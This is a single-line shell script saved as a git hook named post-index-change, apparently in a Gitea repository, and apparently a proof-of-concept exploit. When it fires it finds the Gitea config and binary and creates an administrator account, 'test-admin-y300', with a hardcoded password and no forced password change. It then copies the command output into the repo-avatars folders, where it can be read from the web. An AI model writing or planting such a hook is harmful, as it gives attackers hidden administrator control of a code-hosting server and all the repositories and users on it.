rpocy300h5/hooks/post-index-change

2 lines
2.5 KiB
Plaintext
Executable File

WD="${GITEA_WORK_DIR:-}"; if [ -z "$WD" ] || [ ! -f "$WD/custom/conf/app.ini" ]; then D="$(pwd)"; while :; do [ -f "$D/custom/conf/app.ini" ] && { WD="$D"; break; }; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; [ -f "$WD/custom/conf/app.ini" ] || WD="$(pwd)"; CFG="$WD/custom/conf/app.ini"; for _c in "$CFG" "/etc/gitea/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -f "$CFG" ] && C="--config $CFG"; _cfg() { [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -d "$d" ] && AV="$d" && break; done; fi; if [ -x "$WD/gitea" ]; then G="$WD/gitea"; elif [ -x "$WD/gitea.exe" ]; then G="$WD/gitea.exe"; elif [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; elif command -v gitea >/dev/null 2>&1; then G="$(command -v gitea)"; elif command -v gitea.exe >/dev/null 2>&1; then G="$(command -v gitea.exe)"; else G=""; fi; OUT="/tmp/demo_y300h5.txt"; { echo "HOOKDIAG WD=$WD AV=$AV CFG=$CFG G=$G"; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; if [ -z "$G" ]; then echo "ERROR: gitea not found (WD=$WD)"; else "$G" $C admin user create --username "test-admin-y300" --password "Test-admin-y300h5!x" --email "test-admin-y300@example.com" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]"; fi; echo ---DONE---; } > "$OUT" 2>&1; for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_y300h5.txt" 2>/dev/null; done; for d in "$AV" "$WD/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_y300h5.txt" 2>/dev/null; done;